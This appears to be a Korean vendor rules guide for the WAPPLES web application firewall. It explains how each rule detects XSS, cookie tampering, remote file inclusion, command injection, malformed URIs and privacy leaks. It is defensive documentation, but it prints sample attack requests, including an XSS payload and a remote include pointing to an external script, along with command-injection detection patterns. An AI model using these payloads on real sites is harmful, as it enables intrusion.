WAPPLES Rules Penta Security Systems Inc. | 2011.2
Contents 문서의 구성 설명 탐지위치 탐지방식 WAPPLES 탐지 룰의 개요에 대해 설명합니다 대해 설명합니다. 탐지시점은 다르 지만 탐지 행동은 Request/Response 에 모두 관여합니다 request rule response rule IP Block IP Filtering Invalid HTTP User Defined Rule URI Access Control Request Header Only Rules Extension Filtering Include Injection Invalid URI Request Header Filtering Request method Filtering Unicode Directory Traversal Request Header & Body Rules Buffer Over Flow File Upload Input Contents Filtering Cross Site Script Privacy Input Filtering SQL Injection Stealth Commanding Interaction Rules Cookie Poisoning Parameter Tampering Website Defacement Privacy File Filtering Suspicious Access Response Header Rules -Directory Listing -Error Handling -Privacy Output Filtering -Response Header Filtering 탐지방식 WAPPLES이 위의 룰들을 탐지하는 방식에 대해 상세히 설명합니다 WAPPLES Rules
Contents 룰 탐지 순서 request rule response rule IP Block IP Filtering Invalid HTTP User Defined Rule URI Access Control Request Header Only Rules Extension Filtering Include Injection Invalid URI Request Header Filtering Request method Filtering Unicode Directory Traversal Request Header & Body Rules Buffer Over Flow File Upload Input Contents Filtering Cross Site Script Privacy Input Filtering SQL Injection Stealth Commanding Interaction Rules Cookie Poisoning Parameter Tampering Website Defacement Privacy File Filtering Suspicious Access User Defined Rule Response Header Rules -Directory Listing -Error Handling -Privacy Output Filtering -Response Header Filtering Interaction Rules Cookie Poisoning Parameter Tampering Website Defacement Privacy File Filtering request rule response rule WAPPLES Rules
Rules Description 1. Buffer Overflow(1) 설명 Buffer Overflow 취약점은 일반적인 응용프로그램 보안 취약점의 하나입니다. 공격자는 악의적인 공격 코드를 전송하여 프로그램의 정상적인 동작을 방해하거나 임의의 명령을 수행할 수 있습니다. Buffer Overflow 취약점은 웹 서버 또는 웹 애플리케이션에 존재할 수 있습니다. 많이 사용되는 제품에 존재하는 Buffer Overflow 취약점은 널리 알려지게 되고 이로 인해 해당 제품의 사용자는 상당한 위험에 노출되게 됩니다. 자체 제작한 웹 애플리케이션의 경우 검증 부재 문제로 인해 Buffer Overflow가 발생할 확률이 상대적으로 높습니다. 탐지 위치 Request Header Request Body 탐지 방식 제한값보다 큰 데이타가 들어오면 자체 모듈을 사용하여 이것이 일정한 반복값을 갖는지 확인합니다. 이렇게 하는 이유는 거의 대부분의 BufferOverflow 공격이 데이터 영역을 채우기 위한 일정 반복값을 갖기 때문에 이를 확인하여 오탐을 줄이기 위해서입니다. URI 길이 제한-Request Line(method 부터 http 1.0 전까지)의 길이 제한 Key 길이 제한-Parameter part의 attribute key name에 대한 길이 제한 GET /phpinfo.php?cx%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D=%5B%3Cscript%3Ealert%28%27Watchfire+XSS+Test+Successful%27%29%3C%2Fscript%3E%5D HTTP/1.0 URI 길이 확인 후, 반복되는 값 체크 WAPPLES Rules
Rules Description 1. Buffer Overflow(2) 탐지 방식 Header 길이 제한-HTTP header field에서 각 Header의 Key와 value에 대한 길이 제한 특정 헤더의 길이 확인 후, 반복되는 값 체크 Referer: http://scmerp.stxship.co.kr/pbl/scmh/scmh06/sh06.asp?search_yn=Y&check_detail=, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on, on&sh06_tra_dt_from=2007/11/13&sh06_son_no=0711131026&sh06_son_gb=1 WAPPLES Rules
After WAPPLES Handling Rules Description 2. Cookie Poisoning(1) 설명 쿠키는 웹 서버가 웹 브라우저에게 보내어 저장했다가 서버의 부가적인 요청이 있을 때 다시 서버로 보내 주는 문자열 정보를 의미합니다. 예를 들어, 어떤 사용자가 특정 웹사이트에 접속한 후 그 사이트 내에서 어떤 정보를 보았는지 등에 관련된 기록을 남겨 놓았다가 다음에 접속하였을 때 그것을 읽어 이전의 상태를 유지하면서 검색할 수 있게 하는 역할을 합니다. 많은 웹 애플리케이션은 중요 정보(사용자 ID, 타임스탬프 등)를 쿠키에 저장하여 사용합니다. 쿠키는 항상 그 내용이 안전하지 않기 때문에 공격자는 쿠키를 획득, 변조할 수 있고, 이를 통해 웹 애플리케이션을 속일 수 있습니다. 쿠키를 변조함으로써 특정 계정에 대한 접근 권한을 얻거나, 또한 사용자의 쿠키를 훔쳐서 ID, 암호 없이 또는 어떤 인증도 없이 사용자 계정을 얻을 수 있습니다. 탐지 위치 Request Header Response Header 탐지 방식 쿠키 변조방지 RESPONSE 1) Header필드에 Set-Cookie나 Set-Cookie2가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키 value를 가지고 hash값을 생성해서 해당 쿠키마다 "Sphere_" + 쿠키 key = 생성한 hash값 을 넣어준다. REQUEST 1) Header 필드에 Cookie가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키 value를 가지고 hash값을 생성해서 해당 hash값과 Sphere_+ 쿠키 key = 생성한 hash값 을 비교한다. 3) Sphere_key의 hash값과 다를 경우 탐지한다. * [GA version] 탐지가 되는 경우에도 모든 쿠키는 서버로 전달한다. 탐지 단계에서는 오직 탐지만 하고, 대응은 이후에 일괄적으로 한다. Original Set-Cookie: c=73262984320; d=2; count=1; After WAPPLES Handling Set-Cookie: c=73262984320; d=2; count=1; Sphere_c=LONBix6IvGS5u8+OMJxpWYkcGo4$; Sphere_d=kWakhGppXFAP7nEY1Bh7eXu8aIM$; Sphere_count=6MMjb+T65zIvIxb+K9J0ck5ZFpQ$ WAPPLES Rules
After WAPPLES Handling Rules Description 2. Cookie Poisoning(2) 탐지 방식 쿠키 변조방지 + 도용 방지 RESPONSE 1) Header필드에 Set-Cookie나 Set-Cookie2가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키 value에 client IP를 추가하여 hash값을 생성해서 해당 쿠키마다 "Sphere_" + 쿠키 key = 생성한 hash값을 넣어준다. REQUEST 1) Header 필드에 Cookie가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키 value와 client IP를 가지고 hash값을 생성해서 해당 hash값과 Sphere_+ 쿠키 key = 생성한 hash값을 비교한다. 3) Sphere_key의 hash값과 다를 경우 탐지한다. *[GA version] 탐지가 되는 경우에도 모든 쿠키는 서버로 전달한다. 탐지 단계에서는 오직 탐지만 하고, 대응은 이후에 일괄적으로 한다. Original Set-Cookie: c=73262984320; d=2; count=1; After WAPPLES Handling Set-Cookie: c=73262984320; d=2; count=1; Sphere_c=LONBix6IvGS5u8+OMJxpWYkcGo4$; Sphere_d=kWakhGppXFAP7nEY1Bh7eXu8aIM$; Sphere_count=6MMjb+T65zIvIxb+K9J0ck5ZFpQ$ WAPPLES Rules
After WAPPLES Handling Rules Description 2. Cookie Poisoning(3) 탐지 방식 쿠키 노출방지 RESPONSE 1) Header필드에 Set-Cookie나 Set-Cookie2가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 2byte 랜덤 값을 생성한다. 3) 각 쿠키의 (2바이트 랜덤값) + "key=value"를 암호화하여 base64한 다음 처음 10byte를 잘라내어 해당 쿠키마다 "Sphere_" + 암호화한 처음 10글자 = 나머지 암호화 값 을 넣어준다. REQUEST 1) Header 필드에 Cookie가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키에서 Sphere_로 된 쿠키를 찾아 복호화 한다. 3) Sphere_ 나머지 부분과 value 부분을 합하여 복호화 한 후 "=" 을 기준으로 원래의 key와 value를 추출해 낸다. 이 과정에서 오류가 발생하면 탐지 한다. 4) 복호화 된 key와 value를 적용한다. Original Set-Cookie: Customer="WILE_E_COYOTE";$Path="/acme" After WAPPLES Handling Set-Cookie: Sphere_CyBRYluC96=49rFgUtBg7Zm3eeCpu+1n6TH4$;Path="/acme" WAPPLES Rules
After WAPPLES Handling Rules Description 2. Cookie Poisoning(4) 탐지 방식 쿠키 노출방지 + 도용방지 RESPONSE 1) Header필드에 Set-Cookie나 Set-Cookie2가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 2byte 랜덤 값을 생성한다. 3) 각 쿠키의 (2바이트 랜덤값) + '\0" + ip(16byte) + "key=value"를 암호화하여 base64한 다음 처음 10byte를 잘라내어 해당 쿠키마다 "Sphere_" + 암호화한 처음 10글자 = 나머지 암호화 값 을 넣어준다. REQUEST 1) Header 필드에 Cookie가 있으면 쿠키를 파싱해서 key와 value로 나눈다. 2) 각 쿠키에서 Sphere_로 된 쿠키를 찾아 복호화 한다. 3) Sphere_ 나머지 부분과 value 부분을 합하여 복호화 한 후 복호문[2] 값이 '\0'이면 IP를 추출해 낸다. '=' 을 기준으로 원래의 key와 value를 추출해 낸다. 이 과정에서 오류가 발생하면 탐지 한다. client IP와 추출한 IP를 비교하여 맞지 않으면 탐지한다. 4) 복호화 된 key와 value를 적용한다. Original Set-Cookie: Customer="WILE_E_COYOTE";$Path="/acme" After WAPPLES Handling Set-Cookie: Sphere_CyASJhjYqf=F271EY0mZ3Rlz4HSpU0WLBZDmT06OLJ8Hb9nQFcu4kvKUJvw$$;Path="/acme" WAPPLES Rules
Rules Description 3. Cross Site Scripting 설명 탐지 위치 탐지 방식 JavaScript, VBScript, Flash, ActiveX, XML/XSL, DHTML 등과 같이 클라이언트 측에서 실행되는 언어로 작성된 코드를 사용자 입력으로 주게 되면 이 코드가 그대로 클라이언트 측 브라우저에서 수행되는 특성을 이용하여 악성 스크립트 코드를 웹 페이지, 웹 게시판 또는 이메일에 포함시켜 사용자에게 전송하는 것이 Cross Site Scripting(XSS) 공격기법입니다. 웹 사용자가 취약한 웹 서버에 접속 중일 때 공격자는 악성 스크립트를 업로드한 후 웹 사용자에게 이메일이나 웹페이지를 전송하여 악성스크립트가 있는 링크를 클릭하도록 유도합니다. 웹 사용자가 해당 링크를 클릭하게 되면 자신의 쿠키 등의 정보가 공격자에게 전송되고, 공격자는 수집된 정보를 이용하여 피해자의 권한으로 웹 서버에 접속할 수 있습니다. 탐지 위치 Request Line Request Body의 Parameter 탐지 방식 금지HTML태그, 금지 패턴을 패턴 매치 루틴을 통해 탐지한다. 태그 : (SCRIPT/IFRAME/FRAME) 패턴 : (javascript;/livescript/lt;script/;expression/vbscript;/onMouseover=) 이미지 태그 : 웹 클라이언트의 요청문 중 올바르지 않은 이미지 태그를 탐지한다. 1) img 문자열 패턴 매치 2) src 문자열 찾기 3) = 문자 찾기 4) 설정이 이미지 태그 외부 링크 탐지이면 http:// 문자열을 찾으면 탐지 5) 확장자를 구해서 gif, jpg, jpeg, bmp, png가 아니면 탐지 ‘SCRIPT’ HTML Tag는 사용금지되어 탐지 GET / < s c r i p t > HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Accept-Language: ko Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: www.cmps.co.jp Connection: Keep-Alive WAPPLES Rules
Rules Description 4. Directory Listing 설명 탐지 위치 탐지 방식 웹서버의 설정이 기본적으로 웹 브라우저에서 사용자가 입력한 URL에 웹 컨텐츠가 없을 경우 디렉토리 리스트를 보여주도록 되어 있다면, 이러한 디렉토리 리스트를 보여주지 못하도록 방지하는 역할을 합니다. 탐지 위치 Response Header Response Body 탐지 방식 URI가 / 로 끝나지 않으면 Directory Listing이 아니므로 탐지하지 않음. 다음의 문자열이 있는 경우 탐지된다. (7가지 경우) 1) <html>\r\n <head>\r\n <title>Index of %2%</title>\r\n </head>\r\n <body>\r\n<h1>Indexof %2%</h1> 2) <html>\n <head>\n <title>Index of %2%</title>\n </head>\n <body>\n<h1>Index of %2%</h1> 3) <html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title> %1% - %2%/</title></head><body><H1>%1% - %2%/</H1><hr> 4) <head><title> %1% - %2%/</title></head><body><H1>%1% - %2%/</H1><hr> 5) <html>\r\n<head>\r\n<title>Directory Listing For / </STYLE> </head>\r\n<body><h1>Directory Listing For / 6) <html>\r\n<head>\r\n<title>Directory of %2%</title>\n </head>\n <body>\n<h1>Directory of %2%</h1> %1% 또는 %2%가 포함된 문자열의 경우 패턴 매치가 아니라 %1% -> Host Name (Host 필드에 있는), %2% -> directory를 넣어서 문자열 비교를 한다. 패턴 매치만 있는 경우 패턴매치 되면 탐지. 패턴 매치와 문자열 비교가 있는 경우 패턴 매치된 이후 HostName?과 directory (URI의 마지막 '/'을 뺀것)를 넣은 문자열이 검사되면 탐지. WAPPLES Rules
Rules Description 5. Error Handling 설명 탐지 위치 탐지 방식 웹 애플리케이션 사용 시 메모리 부족, Null Pointer Exception, 시스템 콜 실패, 데이터베이스 접속 에러, 네트워크 타임아웃 등 다양한 에러가 발생하는데, 이러한 에러의 부적절한 처리는 악의적인 사용자들에게 해당 사이트가 가진 잠재적 취약점에 대한 힌트를 제공하는 등 다양한 보안 문제를 야기할 수 있습니다. 탐지 위치 Response Header Response Body 탐지 방식 1차 수준 차단 1) 기존 Error Handling 문자열 탐지 2차 수준 차단 1) Status Code 가 500 (Internal Server Error) 탐지 2) 기존 Error Handling 문자열 탐지 사용자 정의 1) 차단하고자 하는 Status Code를 입력 받음 - 기존 Error Handling 문자열 탐지 - 차단하고자 하는 Status Code 탐지 WAPPLES Rules
GET /test.php.asp?id=t#top HTTP/1.1 Rules Description 6. Extension Filtering 설명 웹서버의 내부 파일에 대해 접근권한이 허술하게 설정되어 있을 경우 악의적인 사용자의 공격 대상이 될 수 있습니다. 이를 사전에 와플에서 웹 브라우저를 통해 사용자가 입력한 URL의 웹 컨텐츠 확장자를 파싱하여 접근 가능하도록 설정된 확장자 이외의 접근은 차단하는 역할을 합니다. 탐지 위치 Request Line 탐지 방식 Request URI의 확장자를 구해서 해당 확장자가 허용된 확장자 목록에 없으면 탐지한다. Request URI의 확장자는 URI의 맨 끝의 .(dot)뒤에 나온 문자를 말한다. 기본 설정의 허용된 확장자 "html","htm","shtml","cgi","pl","py","php","php4","php3","phtml","asp","aspx","jsp","css","inc","js","txt","jar","java","class","cab","vcs","vbs","exe","xml","xpi","xhtml","xss","rdf","bmp","gif","jpg","jpeg","png","swf","ico","avi","mov","asf","wmv","wma","mp3","mp2","wav","gz","tar","tgz","bz2","zip","arc","ace","arj","lzh","alz","rar","doc","ppt","rtf","xls",hwp","ps","pdf","do","mpg","smi","fcgi","chm","ini","stm","tif","tiff","xsl","mvr","csv","asx","cfm","wo","ext","conf"' 사용자 정의 설정 가능함 GET /test.php.asp?id=t#top HTTP/1.1 확장자 : asp WAPPLES Rules
Rules Description 7. File Upload 설명 탐지 위치 탐지 방식 공격자가 공격에 사용되는 도구를 업로드 하는 것을 적절히 막지 못하는 문제점이 있는 경우 공격자는 PHP나 ASP, JSP 등으로 작성된 공격 도구를 서버에 업로드 하여, 웹 서버를 장악할 수 있습니다. 탐지 위치 Request body 탐지 방식 웹 서버나 웹 애플리케이션에서 업로드 되는 파일에 대한 필터링을 수행토록 합니다. 특히 실행 가능한 확장자를 가진 파일에 대한 업로드를 금지합니다. 만약 웹 서버가 root 권한으로 실행된다면 이를 변경토록 합니다. 안전한 파일만 허용 그림파일 / 압축 파일 실행 파일 업로드 금지 실행될 수 있는 확장자를 가진 파일 ( exe, asp, cgi, jsp....등 ) 사용자 정의 웹 서버 / 애플리케이션 특성에 맞게 사용자가 직접 수정 가능 WAPPLES Rules
Rules Description 8. Include Injection 설명 탐지 위치 탐지 방식 웹 서버에 URI 요청 시 악의적인 목적을 가진 파일의 Include를 탐지 및 차단 합니다.(PHP만 해당) 탐지 위치 Request Header Request Body 탐지 방식 WAPPLES은 Request line을 파싱하여 등록되지 않은 외부 도메인 호출 시 탐지합니다 위의 경우에는 parameter line 은 includedir=http://www.geocities.com/trustopt/t.txt? 입니다. GET /events/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Host: 220.123.78.57 Connection: Close WAPPLES Rules
Rules Description 9. Input Contents Filtering 설명 탐지 위치 탐지 방식 사용자가 입력하는 문자열 가운데 남에게 불쾌감을 야기할 수 있는 내용이 있을 수 있습니다. 이러한 경우 이러한 문자열을 등록하여 다른 내용으로 변경할 수 있습니다 탐지 위치 Request Header Request Body 탐지 방식 -사용자 정의를 통해 입력된 패턴에 대하여 검색합니다. ex) ‘바보’ ->’좋은사람’이라고 설정 시 ‘바보’->’좋은’으로 단어 변경(기존 탐지 길이만큼 변경) 이는 공격을 탐지하고 차단하는 목적이라기 보다는 사용자가 입력한 내용 중 혐오감을 주거나 문제가 될 소지가 있는 내용을 다른 내용으로 변경함으로 문제의 소지를 자동으로 탐지/차단하는데 목적이 있습니다. 웹서버 혹은 웹서버와 연동된 웹어플리케이션에 피해를 주는 행동은 아니지만 웹서버가 운영하는 웹사이트를 이용하는 다수의 고객들에게 불쾌감을 주거나 문제의 소지가 될 수 있는 부분을 사전 탐지/차단이 가능합니다. 모든 웹 서버와 웹 애플리케이션 서버, 웹 애플리케이션 환경에 Input Content Filtering을 적용할 수 있습니다. 특히 게시판을 운용하는 사이트에 유용합니다. WAPPLES Rules
Rules Description 10. Invalid HTTP 설명 탐지 위치 탐지 방식 HTTP의 규격에서 벗어난 요청이나 응답, 존재하지 않는 웹 사이트에 대한 요청은 비정상적인 트래픽으로, 일반적으로 웜을 비롯한 공격 도구들로부터 생성됩니다. 이러한 트래픽은 정상적인 웹 브라우저에서는 생성되지 않는 것이므로 이상 징후로 간주할 수 있습니다. 탐지 위치 Request Header 탐지 방식 프로토콜 표준 준수 외부로의 호출을 시도하는가? ( ex : GET HTTP://www.naver.com HTTP/1.1 ) 비정상적인 URI가 삽입되었는가? (ex : GET what HTTP/1.1 ) HTTP 프로토콜이 명시 되어있는가? ( ex : HTTP/1.1 ) CONNECT 접속을 시도하는 가? ( ex : CONNECT 210.111.111.111:443 HTTP1/1 ) 헤더 선언기준이 맞는가? ( ex : connection close ) Host필드가 존재하는가? ( ex: Host: ) 헤더에 표시된 컨텐츠 사이즈와 실 데이터 사이즈가 동일 한가.? ( ex: content-length: 233 ) WAPPLES Rules
Rules Description 11. Invalid URI 설명 탐지 위치 탐지 방식 RFC에 정의된 형식을 벗어난 URI는 웹 서버나 웹 애플리케이션의 오동작을 야기할 수 있습니다. 탐지 위치 Request Line 탐지 방식 다음과 같은 경우 탐지합니다. Bad encoding 1. %뒤의 값이 정상적인 2자리 16진수 HEX값이 아니면 탐지 ex) %21, %4F ->정상 ex) %GG, %1H ->탐지 (G와 H는 HEX값이 아니므로) 2. %u뒤의 값이 정상적인 4자리 16진수 HEX값이 아니면 탐지 ex) %uB0A8, %uACBD ->정상 ex) %uGF08 -> 탐지 (G는 HEX값이 아니므로) Double encoding 1. %25+HEX(2자리) ->탐지 ex)%2533->decode 시 %33 ->decode 시 3 2. %25% ->탐지 ex)%25%->decode 시 %% ->%%는 정상적인 encoding값이 아니므로 탐지 Control character Reserved character 1. 디코딩 했을 때 다음과 같은 예약문자중 슬래시(/) 를 가리키면 탐지한다. (예약문자) 프로그램에서 특별한 의미를 갖는 문자로, 파일, 문서, 기타 메크로(macro)처럼 사용하는 도구의 이름에 사용할 수 없는 문자. 별표(*), 슬래시(/), 백슬래시(), 물음표(?), 수직바(|) 등이 있다 WAPPLES Rules
Rules Description 11. Invalid URI 설명 탐지 위치 탐지 방식 RFC에 정의된 형식을 벗어난 URI는 웹 서버나 웹 애플리케이션의 오동작을 야기할 수 있습니다. 탐지 위치 Request Line 탐지 방식 Control character %+HEX(2자리)를 가리키는 값이 0x1F 이하거나, 0x7F와 같으면 탐지위의 값들은 오른쪽 표와 같이 시스템 제어문자이므로 탐지 ex) 0x7F -> Delete bad encoding %글자 뒤에 HEX(2) 또는 %uHEX(4) 가 아니면 탐지 double encoding %25HEX(2) 또는 %25% 면 탐지 reserved character %HEX(2)가 가리키는 값이 / 면 탐지 WAPPLES Rules
Rules Description 12. IP Filtering 설명 탐지 위치 탐지 방식 Ip Filtering이란 웹 서버와 웹 어플리케이션 서버에 경유하는 IP에 대한 검사를 통해, 설정에 따라서 접속한 클라이언트의 국가와 IP를 차단 또는 통과시키는 룰입니다. 탐지 위치 TCP/IP Level 탐지 방식 사용자가 지정한 국가 및 입력한 IP대역에 대해 차단 WAPPLES Rules
Rules Description 13. Parameter Tampering 설명 탐지 위치 탐지 방식 웹 애플리케이션의 URL이나 인자를 프로그래머가 원하지 않던 다른 값으로 변조하여 공격하는 기법입니다. 웹 애플리케이션이 사용자의 입력값을 적절히 검증하지 않는 경우 예기치 못한 오동작을 유발하거나, 웹 애플리케이션의 보안 메커니즘을 우회할 수 있습니다. URI에 포함된 인자를 변경하여 SQL 문을 조작하거나, HTML 문서 내의 Hidden field 값을 변경하여 전송하는 Hidden Field Manipulation 등을 포함합니다. 탐지 위치 Response Body Request Body Request Header 탐지 방식 1. 서버가 Response를 보낼때 Form문을 보냅니다. 현재 WAPPLES에서 보는 속성은 input, select, textarea이고 이것 각각의 내용을 속성에 맞게 파싱하여 암호화한 후 WAPPLES이 해당 Form에 "<input type="hidden" name="_encrypted" value="암호화값">" 을 넣어줍니다. 2. 클라이언트가 Request를 보낼때 속성에 해당하는 것들과 WAPPLES이 넣어준 암호된 값을 Parameter로 보냅니다. WAPPLES은 암호화값을 복호화해서 Form 파싱한 문자열을 얻을수 있고, 이 문자열을 가지고 나머지 Parameter 값들을 검증하게 됩니다. WAPPLES이 무조건 Parameter 변경여부를 검사하는 것이 아니라, Parameter의 Key값(name)의 경우 변경되지 않으므로 변경시 탐지되고, hidden 필드의 경우 value가 세팅되어 있었는데, value가 변조되면 탐지됩니다. 이 밖에도 다양한 경우로 검사를 하고 있습니다. (무조건 변경여부로 검사하지 않습니다.) WAPPLES Rules
Rules Description 14. Privacy Output Filtering 설명 탐지 위치 탐지 방식 웹 서비스를 통하여 유출될 수 있는 정보를 차단합니다. 기본적으로 주민번호와 같은 개인정보가 유출되는 것을 차단하는 목적으로 사용됩니다. 탐지 위치 Response Body 탐지 방식 Privacy information list 주민등록번호 신용카드번호 e-mail address (ex: aaa@ddadf.aaa ) WAPPLES Rules
Rules Description 15. Privacy File Filtering 설명 탐지 위치 탐지 방식 개인정보가 포함된 각종 파일들이 웹 서비스에 업로드 및 다운로드되는 것을 차단합니다. 주민등록번호, 외국인등록번호, 신용카드번호, 이메일 주소, 전화 번호, 거주지 주소, 법인등록번호, 사업자등록번호, 은행계좌번호 양식, 등과 같은 중요한 개인정보들이 업로드 및 다운로드된 파일을 통해 유출되는 것을 차단하는 목적으로 사용됩니다. 탐지 위치 Request Body 탐지 방식 지원 파일 - Microsoft WORD - Microsoft Excel - Microsoft PowerPoint - 한글과 컴퓨터 HWP - Adobe PDF - plain text WAPPLES Rules
Rules Description 16. Privacy Input Filtering 설명 탐지 위치 탐지 방식 웹 서비스를 통하여 Request Message에 포함되어 웹 서버로 유입될 수 있는 정보를 차단합니다. 기본적으로 주민번호와 같은 개인정보가 유입되는 것을 차단하는 목적으로 사용됩니다 탐지 위치 Request Header Request Body 탐지 방식 기존에 룰과 같은 방식으로 탐지 단계를 둔다 . 탐지 주민번호, 카드 번호 탐지 주민번호 탐지 탐지 하지 않음 대응 연결 끊기 에러 코드 페이지 이동 차단하지 않음 WAPPLES Rules
Rules Description 17. Response Header Filtering 설명 탐지 위치 탐지 방식 웹 서버의 헤더 응답들 중 사용자에게 필요 이상의 정보를 주는 필드를 필터링 합니다. 기본적으로 설정되어 있는 필터링 대상 헤더 Server X-Powered-By 탐지 위치 Response Header 탐지 방식 정의된 헤더를 참조하여 response 시 해당 헤더 삭제 telnet wp.pentasecurity.com 80 wp.pentasecurity.com:80... Connected. GET / HTTP/1.1 Host: demokr.pentasecurity.com HTTP/1.1 200 OK Date: Tue, 27 Nov 2007 18:27:05 GMT Server: Apache/1.3.34 (Win32) PHP/4.4.2 X-Powered-By: PHP/4.4.2 Content-Type: text/html Transfer-Encoding: chunked telnet wp.pentasecurity.com wp.pentasecurity.com:80... Connected. GET / HTTP/1.1 Host: wp.pentasecurity.com HTTP/1.1 200 OK Date: Tue, 27 Nov 2007 18:30:13 GMT Content-Type: text/html Transfer-Encoding: chunked WAPPLES Rules
Rules Description 18. Request Header Filtering 설명 탐지 위치 탐지 방식 HTTP Request Header 부분의 정보를 검사하여, 설정된 Field와 Value의 존재 여부에 따라 Filtering합니다. 사용자의 설정에 따라 HTTP Request Header Field의 내용을 한정 지어, Browser를 제약할 수도 있으며, 원치 않는 클라이언트의 접속을 차단하거나 접근을 제한할 수 있습니다 탐지 위치 Request Header 탐지 방식 탐지모드 설명 간단한 웜 차단 HTTP Request Header Field중 User-Agent와 Accept 가 없으면 탐지합니다. 각 field의 Value 값은 유무만 판별하여 NULL일 경우 탐지 합니다 사용자 정의 HTTP Request Header Field와 Value 값을 사용자가 정의합니다. Field와 Value값은 리스트 포함기능과 리스트 차단 기능으로 나뉘어 설정합니다. 설정된 Field에 대한 각 Value 값은 일치와 포함(부분 일치)으로 나뉠 수 있으며, Value값은 검사하지 않고 Field값만 검사할 수도 있습니다 탐지는 모든 설정에 대해 OR 연산으로 탐지 여부를 가립니다. 설정된 조건 중 하나라도 탐지면 해당되는 트래픽에 대해서는 탐지 입니다. WAPPLES Rules
Rules Description 19. Request Method Filtering(1) 설명 탐지 위치 탐지 방식 HTTP 요청 가운데 불필요하거나 공격에 악용될 수 있는 HTTP method를 필터링합니다 탐지 위치 Request Line 탐지 방식 불필요하거나 공격에 악용될 수 있는 HTTP method 시도 할 경우 이를 차단합니다. 보통은 GET/POST/HEAD/OPTIONS 만 허가하며 그 이외의 메소드는 허용하지 않도록 합니다. WAPPLES Rules
Rules Description 19. Request Method Filtering(2) 탐지 방식 불필요하거나 공격에 악용될 수 있는 HTTP method 시도 할 경우 이를 차단합니다.(등록된 메소드만 허용) 보통은 GET/POST/HEAD/OPTIONS 만 허가하며 그 이외의 메소드는 허용하지 않도록 합니다. (탐지 예) OPTIONS request method 탐지 Request line에서, 공백 전의 첫 문자열이 request method 이다 위의 예에서 request method는 OPTIONS이고 OPTIONS 을 와플에서 허가하지 않으면 탐지가 된다. OPTIONS /news_data/ HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: www.crownbakery.co.kr Content-Length: 0 Connection: Keep-Alive Cookie: __utma=53208826.459632868.12819*****.12819*****.12819*****.1; __utmb=53208826.1.10.12819*****; __utmz=53208826.12819*****.1.1.utmcsr=(direct) |utmccn=(direct)|utmcmd=(none) WAPPLES Rules
Rules Description 20. Stealth Commanding(1) 설명 탐지 위치 탐지 방식 많은 웹 애플리케이션이 OS나 외부 프로그램을 사용하여 기능을 수행하고 있습니다. 웹 애플리케이션이 HTTP 요청을 받아 이 정보를 외부로 전달할 때, 공격자가 악의적인 명령어를 정보로 삽입할 수 있고, 웹 애플리케이션은 이 정보를 그대로 외부 프로그램에 전달하여 실행하게 합니다. 공격자는 이를 이용하여 트로이목마를 심거나 악의적인 코드를 실행할 수 있습니다. 탐지 위치 Request Line Request Body 탐지 방식 Header Parameter 부분 아래의 경우 탐지 Windows Secure File Unix Secure File Header Parameter 이외의 부분일 경우 아래 조건일때 탐지 구분자 -> Unix Read Command -> Unix Secure File 구분자 -> Unix Exec Command Windows Extension -> Windows Read Command -> Windows Secure File Windows Extension -> Windows Exec Command 구분자 -> Windows Exec Command 2. HTTP Request Body Parameter 에 아래와 같은 조건일때 탐지 Redirection Pattern -> Unix Secure File Server Side Include 태그 완성 WAPPLES Rules
Rules Description 20. Stealth Commanding(2) 탐지 방식 3. Read Command, Exec Command 뒤의 문자 체크( rmdir, dir, shutdown등 명령어에 직접 대입하여 테스트 해 본 결과 ) Unix 공격 가능 유형 Windows 공격 가능 유형 공백, \t, +, &, |, \, ;, ', " ex) rm'' sphered 공백, \t, ^, &, (, =, +, |, \, [, ], ;, :, ', . ex) rmdir. sphere WAPPLES Rules
Rules Description 21. Suspicious Access(1) 설명 탐지 위치 탐지 방식 Request Line Request Body 탐지 방식 탐지하지 않음 2. 1차 수준 User-Agent 필드가 없는 경우 탐지 User-Agent 필드의 내용이 search bot 이름이면 통과 Accept 필드가 있을 경우 다음을 검사하여 맞으면 통과 From필드가 있을 경우 내용이 "msn(at)microsoft.com", "googlebot(at)googlebot.com", nhnbot@naver.com 이면 통과 Client IP가 Search Bot Ip일 경우 통과 요청 URI의 확장자가 이미지(gif, jpg, jpeg, bmp, png)일 경우 통과 요청 URI의 확장자가 동영상(avi, mpg, mpeg, mpe, wmv, asf, flv, rm, mov)일 경우 통과 Request의 Parameter가 없으면 통과( GET METHOD ) 2차 수준 Client IP가 search bot IP일 경우 통과 WAPPLES Rules
